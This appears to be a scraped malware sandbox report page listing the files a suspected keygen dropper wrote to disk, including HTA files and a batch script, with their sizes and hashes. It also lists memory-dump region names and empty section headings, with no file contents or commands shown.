cbba6362031bcff6b63fcb9a14b0c5c1ef9dae7a6bc739ad99a7e8019e4e343d

SHA512
87d3f5be56442640dfc342ba961386a42e7454dc56e79b3d5cc14120816331331e73f406e9631720f574bf755f2c9d8ac405f484e28ea7f2c7da0724b50e62ac

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
63e39525a12d8d1dda1ee1cc5b924429

SHA1
9f477743151eb1250bbb4e6a6fdfccde7ce492ac

SHA256
b8ad673fe114de2437fa3d35dc10e1887b5e1b855b21ff3cc09a53d1d38c2ab3

SHA512
52ac9e8561fd47c390e06fbb56e8c6264ba587d73471bce4359283e50d87ddebfc4674713c5abc9d4da132991fd8bafcf67fbbb45a5e0a337415db1062ea53fb

Download Submit
C:\Users\Admin\AppData\Local\Temp\7908.tmp\Keygen.exe

Filesize
678KB

MD5
ea2c982c12fbec5f145948b658da1691

SHA1
d17baf0b8f782934da0c686f2e87f019643be458

SHA256
eecd6f108f35df83d4450effa5d5640efe7e5f2fff819833f01fb2d053e626d4

SHA512
1f1d6768467fff8387be1cf536e01cfbf28cb04777fa184f18fcab0c518ead8d52827abe5ca1c566c425616c7b06ab1bce0c92dd684c818b51fc52fa0f4b74b8

Download Submit
C:\Users\Admin\AppData\Local\Temp\7908.tmp\b.hta

Filesize
17KB

MD5
5bbba448146acc4530b38017be801e2e

SHA1
8c553a7d3492800b630fc7d65a041ae2d466fb36

SHA256
96355db8fd29dcb1f30262c3eac056ff91fd8fa28aa331ed2bedd2bd5f0b3170

SHA512
48e3d605b7c5531cb6406c8ae9d3bd8fbb8f36d7dd7a4cbe0f23fc6ef2df08267ce50d29c7ec86bf861ebdcf9e48fb9c61c218f6584f1a9a0289a10a2fec730b

Download Submit
C:\Users\Admin\AppData\Local\Temp\7908.tmp\b1.hta

Filesize
17KB

MD5
c57770e25dd4e35b027ed001d9f804c2

SHA1
408b1b1e124e23c2cc0c78b58cb0e595e10c83c0

SHA256
bb0fd0011d5a0c1bbb69cb997700eb329eee7bed75fef677122fcfda78edc7f5

SHA512
ac6d957d2b6218d9c19dea60b263d6148f730a7a4599e03023afc0881b9f4051d20e5f1d94fc3e416c5e12bcc9846a43af90f55767271ef0cc4b84f31f432ae7

Download Submit
C:\Users\Admin\AppData\Local\Temp\7908.tmp\ba.hta

Filesize
17KB

MD5
b762ca68ba25be53780beb13939870b2

SHA1
1780ee68efd4e26ce1639c6839c7d969f0137bfd

SHA256
c15f61a3c6397babdf83b99b45345fec9851c4d3669c95b717f756b7c48050d1

SHA512
f99570d2dae550cb1474e2d1cabf8296a685e0e7254d92eb21d856acb8dece635a0842a00d63da2a4faa18c52c57244c565d6a752c857d5c15e8c23b3d4a9e1a

Download Submit
C:\Users\Admin\AppData\Local\Temp\7908.tmp\ba1.hta

Filesize
17KB

MD5
a2ea849e5e5048a5eacd872a5d17aba5

SHA1
65acf25bb62840fd126bf8adca3bb8814226e30f

SHA256
0c4ffba2e00da7c021d0dcab292d53290a4dc4d067c029e5db30ba2ac094344c

SHA512
d4e53c150e88f31c9896decfaa9f0a8dfab5d6d9691af162a6c0577786620fb1f3617398fc257789a52e0988bf1bfc94255db6d003397863b0b9e82afabdb89f

Download Submit
C:\Users\Admin\AppData\Local\Temp\7908.tmp\m.hta

Filesize
17KB

MD5
9383fc3f57fa2cea100b103c7fd9ea7c

SHA1
84ea6c1913752cb744e061ff2a682d9fe4039a37

SHA256
831e8ee7bc3eeeaaa796a34cbb080658dec1be7eb26eb2671353f650041b220d

SHA512
16eda09f6948742933b6504bc96eb4110952e95c4be752e12732cb3b92db64daa7a7a0312ca78ff1ceb7cffd7bd8a7d46514226fc3cea375b4edb02a98422600

Download Submit
C:\Users\Admin\AppData\Local\Temp\7908.tmp\m1.hta

Filesize
17KB

MD5
5eb75e90380d454828522ed546ea3cb7

SHA1
45c89f292d035367aeb2ddeb3110387a772c8a49

SHA256
dd43305abbbe5b6cc4ab375b6b0c9f8667967c35bb1f6fefb0f1a59c7c73bd5e

SHA512
0670ef4f687c4814125826b996d10f6dd8a1dd328e04b9c436ee657486b27b1eefad5b82dcc25bd239d36b7ac488f98e5adcff56c5e82f7d0ed41f03301947c4

Download Submit
C:\Users\Admin\AppData\Local\Temp\7908.tmp\start.bat

Filesize
176B

MD5
68d86e419dd970356532f1fbcb15cb11

SHA1
e9ef9a9d047f1076ba2afbe4eabec2ea2338fb0a

SHA256
d150a28b978b2d92caac25ee0a805dec96381471702a97f1099707b8538c6cbe

SHA512
3078c8c33b18ca1aa3bb2f812e5f587f5b081a4bd857f942ab382383faf09dbe8af38054546bf49037b79081c9406dc25647ae5bd843abc8fcca25c7b3afae14

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gbzzg0wt.drw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2236-53-0x0000000005CD0000-0x0000000005D1C000-memory.dmp

Filesize
304KB

Download
memory/2236-51-0x0000000005C40000-0x0000000005C5E000-memory.dmp

Filesize
120KB

Download
memory/2236-96-0x0000000007FD0000-0x0000000008576000-memory.dmp

Filesize
5.6MB

Download
memory/2236-65-0x0000000006170000-0x000000000618A000-memory.dmp

Filesize
104KB

Download
memory/2236-28-0x0000000002430000-0x0000000002466000-memory.dmp

Filesize
216KB

Download
memory/2236-95-0x0000000007100000-0x0000000007122000-memory.dmp

Filesize
136KB

Download
memory/2236-94-0x0000000007170000-0x0000000007206000-memory.dmp

Filesize
600KB

Download
memory/2716-30-0x0000000005930000-0x0000000005952000-memory.dmp

Filesize
136KB

Download
memory/2716-64-0x0000000008140000-0x00000000087BA000-memory.dmp

Filesize
6.5MB

Download
memory/2716-49-0x0000000006320000-0x0000000006677000-memory.dmp

Filesize
3.3MB

Download
memory/2716-32-0x00000000062B0000-0x0000000006316000-memory.dmp

Filesize
408KB

Download
memory/2716-31-0x0000000006240000-0x00000000062A6000-memory.dmp

Filesize
408KB

Download
memory/2716-29-0x0000000005BA0000-0x00000000061CA000-memory.dmp

Filesize
6.2MB

Download
memory/2904-104-0x0000000000400000-0x00000000005BC000-memory.dmp

Filesize
1.7MB

Download
memory/2904-105-0x0000000000720000-0x0000000000723000-memory.dmp

Filesize
12KB

Download
memory/2904-107-0x0000000002230000-0x0000000002231000-memory.dmp

Filesize
4KB

Download
memory/2904-106-0x0000000000400000-0x00000000005BC000-memory.dmp

Filesize
1.7MB

Download
memory/2904-23-0x0000000002230000-0x0000000002231000-memory.dmp

Filesize
4KB

Download
memory/2904-21-0x0000000000400000-0x00000000005BC000-memory.dmp

Filesize
1.7MB

Download
memory/2904-22-0x0000000000720000-0x0000000000723000-memory.dmp

Filesize
12KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request

DNS Response

DNS Request

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads

We care about your privacy.